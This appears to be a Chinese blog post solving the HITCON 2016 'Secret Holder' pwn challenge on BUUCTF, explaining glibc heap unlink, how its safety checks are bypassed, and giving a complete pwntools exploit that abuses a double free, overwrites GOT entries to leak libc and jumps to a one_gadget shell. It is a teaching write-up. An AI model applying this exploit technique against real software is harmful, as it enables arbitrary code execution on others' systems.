BUUCTF-Secret Holder

[BUUCTF] Secret Holder

题目链接:https://buuoj.cn/challenges#secretHolder_hitcon_2016
通过这道题来学习一下堆unlink相关操作

在开始讲这道题之前首先需要了解堆的一种漏洞利用: unlink, 通过unlink和向堆指向空间写入数据,我们能够实现任意地址写

在堆中,bins(非fast bin)是以双向链表形式存在,而我们从这个链表中获取一个chunk时,会触发链表节点的删除操作

FD = node->fd;
BK = node->bk;
FD->bk = BK;
BK->fd = FD;

如果我们想往一个地址(target_addr)写入任意值(my_value), 那么我们可以修改chunk的fd和bk分别为target_addr - 0x18, my_value,此时unlink操作就变成了

FD = node->fd; // FD = target_addr - 0x18
BK = node->bk; // BK = my_value
FD->bk = BK;   // *(target_addr - 0x18 + 0x18) = my_value
BK->fd = FD;   // *(my_value + 0x10) = target_addr - 0x18

如果没有node节点的校验,并且我们拥有(my_value + 0x10)地区的写权限的话(一般都有target_addr的写权限),我们就能实现任意地址写。
然而,现实很骨干,开发者们早就注意到了这个漏洞,并在unlink时加入了如下的校验:检查下一个节点的presize和当前节点的size是否相同,且FD->bk == P && BK->fd == P

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // largebin 中 next_size 双向链表完整性检查 
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);

加入了这样一个校验机制之后,我们就不能直接达成任意地址写这个目标了。然而,道高一尺魔高一丈,前辈们想出了一种间接任意写的办法。让我们仔细看下这段校验的代码, 令FD = &P - 0x18, BK = &P - 0x10, 此时

  • FD->bk = P
    • *(FD + 0x18) = P
    • *(&P - 0x18 + 0x18) = *(&P) = P
  • BK->fd = P
    • *(BK + 0x10) = P
    • *(&P - 0x10 + 0x10) = *(&P) = P

校验通过,继续执行赋值语句

  • FD->bk = BK
    • *(&P - 0x18 + 0x18) = &P - 0x10
    • P = &P - 0x10;
  • BK->fd = FD
    • *(&P - 0x10 + 0x10) = &P - 0x18
    • P = &P - 0X18;

最终效果为P = &P - 0x18, 让我们来个图直观感受一下unlink前后的内存布局变化

image

通过unlink,我们成功让原本指向堆的指针指向了指针上方的一块区域。又由于题目中一般允许让用户对堆的内容重新输入,此时(第一次输入)我们只需要写入p64(0) * 3 + p64(target_addr),覆盖掉P的指针, 即可让P指向我们想要写入内容的地址,然后(第二次输入)写入p64(my_value),就能实现任意地址写。

还有一个关键的问题!怎样触发unlink? 当我们free掉一个chunk,叫chunk1,如果chunk1与top chunk相邻,chunk1就会与top chunk合并,同时还会去检查前面一个chunk,叫chunk0,如果chunk0处于free状态,则会触发链表的unlink。

glibc环境配置

接下来我们看下Secret Holder这道题,首先设置一下运行环境

patchelf --set-interpreter /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./secretHolder_hitcon_2016
patchelf --replace-needed libc.so.6 /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so ./secretHolder_hitcon_2016
patchelf --set-rpath /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ./secretHolder_hitcon_2016

检查一下安全机制
image

IDA 代码分析

image

image

image

image

这个文件是动态加载的,题目中有三个堆buf_small, buf_big, buf_huge,用三个变量init_small, init_big, init_huge来标识是否被使用,在keep方法中,直接用read读取size个字符,并且没有用\0结束读入的字符串,可能存在信息泄露。在wipe中,没有判断flag就直接free掉了buf,这里是一个double free漏洞。renew方法则是重新给三个堆赋值。

总体思路

  1. 构造fake chunk
  2. 执行unlink
  3. 泄露libc基址
  4. 执行one_gadget

编写exp

基本框架

from pwn import *

context.log_level = 'debug'

file_path = '/home/kali/Desktop/ctf/pwn/secretHolder/secretHolder_hitcon_2016'
libc_path = '/home/kali/Desktop/ctf/pwn/secretHolder/libc-2.23.so'

io = process([file_path])
# io = remote('node4.buuoj.cn', 28834)
elf = ELF(file_path)
libc = ELF(libc_path)

def keep(idx):
    io.sendlineafter(b'Renew secret\n', b'1')
    io.sendlineafter(b'Huge secret\n', str(idx))
    io.sendafter(b'secret: \n', b'aaaa')

def wipe(idx):
    io.sendlineafter(b'Renew secret\n', b'2')
    io.sendlineafter(b'Huge secret\n', str(idx))

def renew(idx, data):
    io.sendlineafter(b'Renew secret\n', b'3')
    io.sendlineafter(b'Huge secret\n', str(idx))
    io.sendafter(b'secret: \n', data)

构造fake chunk

keep(1)
wipe(1)
keep(2)
wipe(1) # double free
keep(1) # overlap

image
图的出处见参考文献2, 这位老哥讲解的特别好,直接copy过来...

unlink之前需要做一些准备,buf_huge的大小是400000字节,最初的top chunk无法满足,我们需要先alloc一次,(这次会通过mmap分配,并扩大mmap分配的内存阈值),再free掉,再alloc第二次,第二次获取的堆地址才是我们想要的buf_huge地址(和buf_small, buf_big)相邻

keep(3)
wipe(3)
keep(3)

image

alloc完buf_huge后的内存布局如图所示,之后我们就可以删除buf_huge来触发buf_small的unlink

small_ptr = 0x6020b0 # ida静态分析获取
big_ptr = 0x6020a0   # 同上

payload = p64(0)
payload += p64(0x21)             # fake size
payload += p64(small_ptr - 0x18) # 绕过FD->bk == P && BK->fd == P
payload += p64(small_ptr - 0x10) # 同上
payload += p64(0x20)             # huge.pre_size, 绕过chunksize(P) != prev_size (next_chunk(P))
payload += p64(0x61a90)          # huge.size
renew(2, payload)                # 构造fake chunk
wipe(3)                          # 触发unlink

unlink完后small_ptr就指向了small_ptr-0x18的位置,而big_ptr=small_ptr-0x10, 也就是说如果往small_ptr里写数据的话还会把big_ptr的内容给覆盖。现在让我们来修改got表

泄露libc基址

payload = b'a' * 8
payload += p64(elf.got['free']) # *big_ptr = free@got.plt
payload += b'a' * 8
payload += p64(big_ptr)         # *small_ptr = big_ptr
renew(1, payload)
renew(2, p64(elf.plt['puts']))  # *free@got.plt = puts@plt
renew(1, p64(elf.got['puts']))  # *big_ptr = puts@got.plt

wipe(2)                         # puts(puts@got.plt)
puts_addr = u64(io.recvline()[:6].ljust(8, b'\0'))
libc_base = puts_addr - libc.symbols['puts']

执行one_gadget

image

one_gadget = libc_base + 0x45216
payload = b'a' * 0x10
payload += p64(elf.got['puts']) # *small_ptr = puts@got.plt
renew(1, payload)
renew(1, p64(one_gadget))       # puts@got.plt = one_gadget
io.interactive()

参考文献

[1]https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

[2]https://poning.me/2016/10/29/secret-holder/

[3]CTF竞赛权威指南Pwn篇 p295.堆利用-HITCON CTF 2016: Secret Holder

posted @ 2022-06-20 00:56  wudiiv11  阅读(91)  评论(0编辑  收藏  举报